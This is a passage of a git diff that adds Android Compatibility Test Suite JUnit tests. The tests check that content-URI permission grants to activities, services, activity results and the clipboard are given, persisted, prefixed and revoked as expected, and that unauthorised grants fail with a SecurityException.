+import static com.android.cts.usespermissiondiffcertapp.UriGrantsTest.TAG;
+import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermission;
+
+import static junit.framework.Assert.fail;
+
+import android.content.ClipData;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.SystemClock;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.function.Function;
+
+@RunWith(AndroidJUnit4.class)
+public class UriGrantsActivityTest {
+ private static Context getContext() {
+ return InstrumentationRegistry.getTargetContext();
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ // Always dispose, usually to clean up from failed tests
+ ReceiveUriActivity.finishCurInstanceSync();
+ }
+
+ @Test
+ public void testGrantableToActivity() {
+ for (Uri uri : GRANTABLE) {
+ for (int mode : GRANTABLE_MODES) {
+ Log.d(TAG, "Testing " + uri + " " + mode);
+ assertGrantableToActivity(uri, mode, UriGrantsTest::makeSingleClipData);
+ assertGrantableToActivity(uri, mode, UriGrantsTest::makeMultiClipData);
+ }
+ }
+ }
+
+ private void assertGrantableToActivity(Uri uri, int mode, Function<Uri, ClipData> clipper) {
+ final Uri subUri = Uri.withAppendedPath(uri, "foo");
+ final Uri subSubUri = Uri.withAppendedPath(subUri, "bar");
+ final Uri sub2Uri = Uri.withAppendedPath(uri, "yes");
+ final Uri sub2SubUri = Uri.withAppendedPath(sub2Uri, "no");
+
+ final ClipData subClip = clipper.apply(subUri);
+ final ClipData sub2Clip = clipper.apply(sub2Uri);
+
+ assertAccess(uri, 0);
+ assertAccess(subClip, 0);
+ assertAccess(subUri, 0);
+ assertAccess(subSubUri, 0);
+ assertAccess(sub2Clip, 0);
+ assertAccess(sub2Uri, 0);
+ assertAccess(sub2SubUri, 0);
+
+ // --------------------------------
+
+ ReceiveUriActivity.clearStarted();
+ grantClipUriPermission(subClip, mode, false);
+ ReceiveUriActivity.waitForStart();
+
+ assertAccess(uri, 0);
+ assertAccess(subClip, mode);
+ assertAccess(subUri, mode);
+ assertAccess(subSubUri, 0);
+ assertAccess(sub2Clip, 0);
+ assertAccess(sub2Uri, 0);
+ assertAccess(sub2SubUri, 0);
+
+ // --------------------------------
+
+ ReceiveUriActivity.clearNewIntent();
+ grantClipUriPermission(sub2Clip, mode, false);
+ ReceiveUriActivity.waitForNewIntent();
+
+ assertAccess(uri, 0);
+ assertAccess(subClip, mode);
+ assertAccess(subUri, mode);
+ assertAccess(subSubUri, 0);
+ assertAccess(sub2Clip, mode);
+ assertAccess(sub2Uri, mode);
+ assertAccess(sub2SubUri, 0);
+
+ // And make sure we can't generate a permission to a running activity.
+ assertNotGrantableToActivity(Uri.withAppendedPath(uri, "hah"), mode, clipper);
+
+ // --------------------------------
+
+ // Dispose of activity.
+ ReceiveUriActivity.finishCurInstanceSync();
+ SystemClock.sleep(200);
+
+ assertAccess(uri, 0);
+ assertAccess(subClip, 0);
+ assertAccess(subUri, 0);
+ assertAccess(subSubUri, 0);
+ assertAccess(sub2Clip, 0);
+ assertAccess(sub2Uri, 0);
+ assertAccess(sub2SubUri, 0);
+ }
+
+ @Test
+ public void testNotGrantableToActivity() {
+ for (Uri uri : NOT_GRANTABLE) {
+ for (int mode : NOT_GRANTABLE_MODES) {
+ Log.d(TAG, "Testing " + uri + " " + mode);
+ assertNotGrantableToActivity(uri, mode, UriGrantsTest::makeSingleClipData);
+ assertNotGrantableToActivity(uri, mode, UriGrantsTest::makeMultiClipData);
+ }
+ }
+ }
+
+ private void assertNotGrantableToActivity(Uri uri, int mode, Function<Uri, ClipData> clipper) {
+ final Uri subUri = Uri.withAppendedPath(uri, "foo");
+ final ClipData subClip = clipper.apply(subUri);
+
+ Intent grantIntent = new Intent();
+ grantIntent.setClipData(subClip);
+ grantIntent.addFlags(mode | Intent.FLAG_ACTIVITY_NEW_TASK);
+ grantIntent.setClass(getContext(), ReceiveUriActivity.class);
+ try {
+ ReceiveUriActivity.clearStarted();
+ getContext().startActivity(grantIntent);
+ ReceiveUriActivity.waitForStart();
+ fail("expected SecurityException granting " + subClip + " to activity");
+ } catch (SecurityException e) {
+ // This is what we want.
+ }
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsClipboardTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsClipboardTest.java
new file mode 100644
index 0000000..4e6cfb8
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsClipboardTest.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.usespermissiondiffcertapp;
+
+import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.GRANTABLE;
+import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.NOT_GRANTABLE;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertClipDataEquals;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertReadingClipAllowed;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertReadingClipNotAllowed;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertWritingClipNotAllowed;
+import static com.android.cts.usespermissiondiffcertapp.UriGrantsTest.TAG;
+import static com.android.cts.usespermissiondiffcertapp.UriGrantsTest.makeSingleClipData;
+import static com.android.cts.usespermissiondiffcertapp.Utils.clearPrimaryClip;
+import static com.android.cts.usespermissiondiffcertapp.Utils.setPrimaryClip;
+
+import static junit.framework.Assert.fail;
+
+import android.content.ClipData;
+import android.content.ClipboardManager;
+import android.content.Context;
+import android.net.Uri;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class UriGrantsClipboardTest {
+ private static Context getContext() {
+ return InstrumentationRegistry.getTargetContext();
+ }
+
+ @Test
+ public void testClipboardWithPermission() throws Exception {
+ for (Uri target : GRANTABLE) {
+ Log.d(TAG, "Testing " + target);
+ final ClipData clip = makeSingleClipData(target);
+
+ // Normally we can't see the underlying clip data
+ assertReadingClipNotAllowed(clip);
+ assertWritingClipNotAllowed(clip);
+
+ // Use shell's permissions to ensure we can access the clipboard
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .adoptShellPermissionIdentity();
+ ClipData clipFromClipboard;
+ try {
+ // But if someone puts it on the clipboard, we can read it
+ setPrimaryClip(clip);
+ clipFromClipboard = getContext()
+ .getSystemService(ClipboardManager.class).getPrimaryClip();
+ } finally {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .dropShellPermissionIdentity();
+ }
+ assertClipDataEquals(clip, clipFromClipboard);
+ assertReadingClipAllowed(clipFromClipboard);
+ assertWritingClipNotAllowed(clipFromClipboard);
+
+ // And if clipboard is cleared, we lose access
+ clearPrimaryClip();
+ assertReadingClipNotAllowed(clipFromClipboard);
+ assertWritingClipNotAllowed(clipFromClipboard);
+ }
+ }
+
+ @Test
+ public void testClipboardWithoutPermission() throws Exception {
+ for (Uri target : NOT_GRANTABLE) {
+ Log.d(TAG, "Testing " + target);
+ final ClipData clip = makeSingleClipData(target);
+
+ // Can't see it directly
+ assertReadingClipNotAllowed(clip);
+ assertWritingClipNotAllowed(clip);
+
+ // Can't put on clipboard if we don't own it
+ try {
+ setPrimaryClip(clip);
+ fail("Unexpected ability to put protected data " + clip + " on clipboard!");
+ } catch (Exception expected) {
+ }
+ }
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsResultTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsResultTest.java
new file mode 100644
index 0000000..a8eea3e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsResultTest.java
@@ -0,0 +1,165 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.usespermissiondiffcertapp;
+
+import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.GRANTABLE;
+import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.GRANTABLE_MODES;
+import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.NOT_GRANTABLE;
+import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.NOT_GRANTABLE_MODES;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertAccess;
+import static com.android.cts.usespermissiondiffcertapp.UriGrantsTest.TAG;
+
+import android.app.Instrumentation;
+import android.content.ClipData;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.function.Function;
+
+@RunWith(AndroidJUnit4.class)
+public class UriGrantsResultTest {
+ private static final int REQUEST_CODE = 42;
+
+ private Instrumentation mInstrumentation;
+ private Context mContext;
+ private GetResultActivity mActivity;
+
+ public void createActivity() throws Exception {
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ mContext = InstrumentationRegistry.getTargetContext();
+
+ final Intent intent = new Intent(mContext, GetResultActivity.class);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ mActivity = (GetResultActivity) mInstrumentation.startActivitySync(intent);
+ mInstrumentation.waitForIdleSync();
+ mActivity.clearResult();
+ }
+
+ public void destroyActivity() throws Exception {
+ mActivity.finish();
+ }
+
+ @Test
+ public void testGrantableToResult() throws Exception {
+ for (Uri uri : GRANTABLE) {
+ for (int mode : GRANTABLE_MODES) {
+ Log.d(TAG, "Testing " + uri + " " + mode);
+ assertGrantableToResult(uri, mode, UriGrantsTest::makeSingleClipData);
+ assertGrantableToResult(uri, mode, UriGrantsTest::makeMultiClipData);
+ }
+ }
+ }
+
+ private void assertGrantableToResult(Uri uri, int mode,
+ Function<Uri, ClipData> clipper) throws Exception {
+ try {
+ createActivity();
+ assertGrantableToResultInternal(uri, mode, clipper);
+ } finally {
+ destroyActivity();
+ }
+ }
+
+ private void assertGrantableToResultInternal(Uri uri, int mode,
+ Function<Uri, ClipData> clipper) {
+ final Uri subUri = Uri.withAppendedPath(uri, "foo");
+ final Uri subSubUri = Uri.withAppendedPath(subUri, "bar");
+ final ClipData subClip = clipper.apply(subUri);
+
+ assertAccess(uri, 0);
+ assertAccess(subClip, 0);
+ assertAccess(subUri, 0);
+ assertAccess(subSubUri, 0);
+
+ // --------------------------------
+
+ final Intent intent = buildIntent(subClip, mode);
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+ mActivity.getResult();
+
+ assertAccess(uri, 0);
+ assertAccess(subClip, mode);
+ assertAccess(subUri, mode);
+ assertAccess(subSubUri, 0);
+
+ // --------------------------------
+
+ // Dispose of activity.
+ mActivity.finish();
+ mActivity.getDestroyed();
+
+ assertAccess(uri, 0);
+ assertAccess(subClip, 0);
+ assertAccess(subUri, 0);
+ assertAccess(subSubUri, 0);
+ }
+
+ @Test
+ public void testNotGrantableToResult() throws Exception {
+ for (Uri uri : NOT_GRANTABLE) {
+ for (int mode : NOT_GRANTABLE_MODES) {
+ Log.d(TAG, "Testing " + uri + " " + mode);
+ assertNotGrantableToResult(uri, mode, UriGrantsTest::makeSingleClipData);
+ assertNotGrantableToResult(uri, mode, UriGrantsTest::makeMultiClipData);
+ }
+ }
+ }
+
+ private void assertNotGrantableToResult(Uri uri, int mode,
+ Function<Uri, ClipData> clipper) throws Exception {
+ try {
+ createActivity();
+ assertNotGrantableToResultInternal(uri, mode, clipper);
+ } finally {
+ destroyActivity();
+ }
+ }
+
+ private void assertNotGrantableToResultInternal(Uri uri, int mode,
+ Function<Uri, ClipData> clipper) {
+ final Uri subUri = Uri.withAppendedPath(uri, "foo");
+ final Uri subSubUri = Uri.withAppendedPath(subUri, "bar");
+ final ClipData subClip = clipper.apply(subUri);
+
+ final Intent intent = buildIntent(subClip, mode);
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+ mActivity.getResult();
+
+ assertAccess(uri, 0);
+ assertAccess(subClip, 0);
+ assertAccess(subUri, 0);
+ assertAccess(subSubUri, 0);
+ }
+
+ private Intent buildIntent(ClipData clip, int mode) {
+ final Intent intent = new Intent();
+ intent.setComponent(new ComponentName("com.android.cts.permissiondeclareapp",
+ "com.android.cts.permissiondeclareapp.SendResultActivity"));
+ intent.putExtra(Intent.EXTRA_TEXT, clip);
+ intent.putExtra(Intent.EXTRA_INDEX, mode);
+ return intent;
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsServiceTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsServiceTest.java
new file mode 100644
index 0000000..7be059f
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsServiceTest.java
@@ -0,0 +1,166 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.usespermissiondiffcertapp;
+
+import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.GRANTABLE;
+import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.GRANTABLE_MODES;
+import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.NOT_GRANTABLE;
+import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.NOT_GRANTABLE_MODES;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertAccess;
+import static com.android.cts.usespermissiondiffcertapp.UriGrantsTest.TAG;
+import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermission;
+
+import static junit.framework.Assert.fail;
+
+import android.content.ClipData;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.function.Function;
+
+@RunWith(AndroidJUnit4.class)
+public class UriGrantsServiceTest {
+ private static Context getContext() {
+ return InstrumentationRegistry.getTargetContext();
+ }
+
+ @Test
+ public void testGrantableToService() {
+ for (Uri uri : GRANTABLE) {
+ for (int mode : GRANTABLE_MODES) {
+ Log.d(TAG, "Testing " + uri + " " + mode);
+ assertGrantableToService(uri, mode, UriGrantsTest::makeSingleClipData);
+ assertGrantableToService(uri, mode, UriGrantsTest::makeMultiClipData);
+ }
+ }
+ }
+
+ private void assertGrantableToService(Uri uri, int mode, Function<Uri, ClipData> clipper) {
+ final Uri subUri = Uri.withAppendedPath(uri, "foo");
+ final Uri subSubUri = Uri.withAppendedPath(subUri, "bar");
+ final Uri sub2Uri = Uri.withAppendedPath(uri, "yes");
+ final Uri sub2SubUri = Uri.withAppendedPath(sub2Uri, "no");
+
+ ReceiveUriService.stop(getContext());
+
+ final ClipData subClip = clipper.apply(subUri);
+ final ClipData sub2Clip = clipper.apply(sub2Uri);
+
+ assertAccess(uri, 0);
+ assertAccess(subClip, 0);
+ assertAccess(subUri, 0);
+ assertAccess(subSubUri, 0);
+ assertAccess(sub2Clip, 0);
+ assertAccess(sub2Uri, 0);
+ assertAccess(sub2SubUri, 0);
+
+ // --------------------------------
+
+ ReceiveUriService.clearStarted();
+ grantClipUriPermission(subClip, mode, true);
+ ReceiveUriService.waitForStart();
+
+ int firstStartId = ReceiveUriService.getCurStartId();
+
+ assertAccess(uri, 0);
+ assertAccess(subClip, mode);
+ assertAccess(subUri, mode);
+ assertAccess(subSubUri, 0);
+ assertAccess(sub2Clip, 0);
+ assertAccess(sub2Uri, 0);
+ assertAccess(sub2SubUri, 0);
+
+ // --------------------------------
+
+ // Send another Intent to it.
+ ReceiveUriService.clearStarted();
+ grantClipUriPermission(sub2Clip, mode, true);
+ ReceiveUriService.waitForStart();
+
+ assertAccess(uri, 0);
+ assertAccess(subClip, mode);
+ assertAccess(subUri, mode);
+ assertAccess(subSubUri, 0);
+ assertAccess(sub2Clip, mode);
+ assertAccess(sub2Uri, mode);
+ assertAccess(sub2SubUri, 0);
+
+ // And make sure we can't generate a permission to a running service.
+ assertNotGrantableToService(Uri.withAppendedPath(uri, "hah"), mode, clipper);
+
+ // --------------------------------
+
+ // Stop the first command.
+ ReceiveUriService.stopCurWithId(firstStartId);
+
+ assertAccess(uri, 0);
+ assertAccess(subClip, 0);
+ assertAccess(subUri, 0);
+ assertAccess(subSubUri, 0);
+ assertAccess(sub2Clip, mode);
+ assertAccess(sub2Uri, mode);
+ assertAccess(sub2SubUri, 0);
+
+ // --------------------------------
+
+ // Dispose of service.
+ ReceiveUriService.stopSync(getContext());
+
+ assertAccess(uri, 0);
+ assertAccess(subClip, 0);
+ assertAccess(subUri, 0);
+ assertAccess(subSubUri, 0);
+ assertAccess(sub2Clip, 0);
+ assertAccess(sub2Uri, 0);
+ assertAccess(sub2SubUri, 0);
+ }
+
+ @Test
+ public void testNotGrantableToService() {
+ for (Uri uri : NOT_GRANTABLE) {
+ for (int mode : NOT_GRANTABLE_MODES) {
+ Log.d(TAG, "Testing " + uri + " " + mode);
+ assertNotGrantableToService(uri, mode, UriGrantsTest::makeSingleClipData);
+ assertNotGrantableToService(uri, mode, UriGrantsTest::makeMultiClipData);
+ }
+ }
+ }
+
+ private void assertNotGrantableToService(Uri uri, int mode, Function<Uri, ClipData> clipper) {
+ final Uri subUri = Uri.withAppendedPath(uri, "foo");
+ final ClipData subClip = clipper.apply(subUri);
+
+ Intent grantIntent = new Intent();
+ grantIntent.setClipData(subClip);
+ grantIntent.addFlags(mode);
+ grantIntent.setClass(getContext(), ReceiveUriService.class);
+ try {
+ getContext().startService(grantIntent);
+ fail("expected SecurityException granting " + subClip + " to service");
+ } catch (SecurityException e) {
+ // This is what we want.
+ }
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsTest.java
new file mode 100644
index 0000000..a955dbc
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsTest.java
@@ -0,0 +1,402 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.usespermissiondiffcertapp;
+
+import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.PERM_URI_GRANTING;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertNoPersistedUriPermission;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertPersistedUriPermission;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertReadingClipAllowed;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertReadingClipNotAllowed;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertWritingClipAllowed;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertWritingClipNotAllowed;
+import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermission;
+import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermissionViaContext;
+import static com.android.cts.usespermissiondiffcertapp.Utils.revokeClipUriPermissionViaContext;
+
+import static junit.framework.Assert.fail;
+
+import android.content.ClipData;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class UriGrantsTest {
+ static final String TAG = "UriGrantsTest";
+
+ private static Context getContext() {
+ return InstrumentationRegistry.getTargetContext();
+ }
+
+ static ClipData makeSingleClipData(Uri uri) {
+ return new ClipData("foo", new String[] { "foo/bar" },
+ new ClipData.Item(uri));
+ }
+
+ static ClipData makeMultiClipData(Uri uri) {
+ Uri grantClip1Uri = uri;
+ Uri grantClip2Uri = Uri.withAppendedPath(uri, "clip2");
+ Uri grantClip3Uri = Uri.withAppendedPath(uri, "clip3");
+ Uri grantClip4Uri = Uri.withAppendedPath(uri, "clip4");
+ Uri grantClip5Uri = Uri.withAppendedPath(uri, "clip5");
+ ClipData clip = new ClipData("foo", new String[] { "foo/bar" },
+ new ClipData.Item(grantClip1Uri));
+ clip.addItem(new ClipData.Item(grantClip2Uri));
+ // Intents in the ClipData should allow their data: and clip URIs
+ // to be granted, but only respect the grant flags of the top-level
+ // Intent.
+ clip.addItem(new ClipData.Item(new Intent(Intent.ACTION_VIEW, grantClip3Uri)));
+ Intent intent = new Intent(Intent.ACTION_VIEW, grantClip4Uri);
+ intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION
+ | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+ clip.addItem(new ClipData.Item(intent));
+ intent = new Intent(Intent.ACTION_VIEW);
+ intent.setClipData(new ClipData("foo", new String[] { "foo/bar" },
+ new ClipData.Item(grantClip5Uri)));
+ clip.addItem(new ClipData.Item(intent));
+ return clip;
+ }
+
+ /**
+ * Validate behavior of persistable permission grants.
+ */
+ @Test
+ public void testGrantPersistableUriPermission() {
+ final ContentResolver resolver = getContext().getContentResolver();
+
+ final Uri target = Uri.withAppendedPath(PERM_URI_GRANTING, "foo");
+ final ClipData clip = makeSingleClipData(target);
+
+ // Make sure we can't see the target
+ assertReadingClipNotAllowed(clip, "reading should have failed");
+ assertWritingClipNotAllowed(clip, "writing should have failed");
+
+ // Make sure we can't take a grant we don't have
+ try {
+ resolver.takePersistableUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION);
+ fail("taking read should have failed");
+ } catch (SecurityException expected) {
+ }
+
+ // And since we were just installed, no persisted grants yet
+ assertNoPersistedUriPermission();
+
+ // Now, let's grant ourselves some access
+ ReceiveUriActivity.clearStarted();
+ grantClipUriPermission(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
+ | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION, false);
+ ReceiveUriActivity.waitForStart();
+
+ // We should now have reading access, even before taking the persistable
+ // grant. Persisted grants should still be empty.
+ assertReadingClipAllowed(clip);
+ assertWritingClipNotAllowed(clip, "writing should have failed");
+ assertNoPersistedUriPermission();
+
+ // Take the read grant and verify we have it!
+ long before = System.currentTimeMillis();
+ resolver.takePersistableUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION);
+ long after = System.currentTimeMillis();
+ assertPersistedUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION, before, after);
+
+ // Make sure we can't take a grant we don't have
+ try {
+ resolver.takePersistableUriPermission(target, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+ fail("taking write should have failed");
+ } catch (SecurityException expected) {
+ }
+
+ // Launch again giving ourselves persistable read and write access
+ ReceiveUriActivity.clearNewIntent();
+ grantClipUriPermission(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
+ | Intent.FLAG_GRANT_WRITE_URI_PERMISSION
+ | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION, false);
+ ReceiveUriActivity.waitForNewIntent();
+
+ // Previous persisted grant should be unchanged
+ assertPersistedUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION, before, after);
+
+ // We should have both read and write; read is persisted, and write
+ // isn't persisted yet.
+ assertReadingClipAllowed(clip);
+ assertWritingClipAllowed(clip);
+
+ // Take again, but still only read; should just update timestamp
+ before = System.currentTimeMillis();
+ resolver.takePersistableUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION);
+ after = System.currentTimeMillis();
+ assertPersistedUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION, before, after);
+
+ // And take yet again, both read and write
+ before = System.currentTimeMillis();
+ resolver.takePersistableUriPermission(target,
+ Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+ after = System.currentTimeMillis();
+ assertPersistedUriPermission(target,
+ Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION,
+ before, after);
+
+ // Now drop the persisted grant; write first, then read
+ resolver.releasePersistableUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION);
+ assertPersistedUriPermission(target, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, before, after);
+ resolver.releasePersistableUriPermission(target, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+ assertNoPersistedUriPermission();
+
+ // And even though we dropped the persistable grants, our activity is
+ // still running with the global grants (until reboot).
+ assertReadingClipAllowed(clip);
+ assertWritingClipAllowed(clip);
+
+ ReceiveUriActivity.finishCurInstanceSync();
+ }
+
+ /**
+ * Validate behavior of prefix permission grants.
+ */
+ @Test
+ public void testGrantPrefixUriPermission() throws Exception {
+ final Uri target = Uri.withAppendedPath(PERM_URI_GRANTING, "foo1");
+ final Uri targetMeow = Uri.withAppendedPath(target, "meow");
+ final Uri targetMeowCat = Uri.withAppendedPath(targetMeow, "cat");
+
+ final ClipData clip = makeSingleClipData(target);
+ final ClipData clipMeow = makeSingleClipData(targetMeow);
+ final ClipData clipMeowCat = makeSingleClipData(targetMeowCat);
+
+ // Make sure we can't see the target
+ assertReadingClipNotAllowed(clip, "reading should have failed");
+ assertWritingClipNotAllowed(clip, "writing should have failed");
+
+ // Give ourselves prefix read access
+ ReceiveUriActivity.clearStarted();
+ grantClipUriPermission(clipMeow, Intent.FLAG_GRANT_READ_URI_PERMISSION
+ | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION, false);
+ ReceiveUriActivity.waitForStart();
+
+ // Verify prefix read access
+ assertReadingClipNotAllowed(clip, "reading should have failed");
+ assertReadingClipAllowed(clipMeow);
+ assertReadingClipAllowed(clipMeowCat);
+ assertWritingClipNotAllowed(clip, "writing should have failed");
+ assertWritingClipNotAllowed(clipMeow, "writing should have failed");
+ assertWritingClipNotAllowed(clipMeowCat, "writing should have failed");
+
+ // Now give ourselves exact write access
+ ReceiveUriActivity.clearNewIntent();
+ grantClipUriPermission(clip, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, false);
+ ReceiveUriActivity.waitForNewIntent();
+
+ // Verify we have exact write access, but not prefix write
+ assertReadingClipNotAllowed(clip, "reading should have failed");
+ assertReadingClipAllowed(clipMeow);
+ assertReadingClipAllowed(clipMeowCat);
+ assertWritingClipAllowed(clip);
+ assertWritingClipNotAllowed(clipMeow, "writing should have failed");
+ assertWritingClipNotAllowed(clipMeowCat, "writing should have failed");
+
+ ReceiveUriActivity.finishCurInstanceSync();
+ }
+
+ @Test
+ public void testGrantPersistablePrefixUriPermission() {
+ final ContentResolver resolver = getContext().getContentResolver();
+
+ final Uri target = Uri.withAppendedPath(PERM_URI_GRANTING, "foo2");
+ final Uri targetMeow = Uri.withAppendedPath(target, "meow");
+
+ final ClipData clip = makeSingleClipData(target);
+ final ClipData clipMeow = makeSingleClipData(targetMeow);
+
+ // Make sure we can't see the target
+ assertReadingClipNotAllowed(clip, "reading should have failed");
+
+ // Give ourselves prefix read access
+ ReceiveUriActivity.clearStarted();
+ grantClipUriPermission(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
+ | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
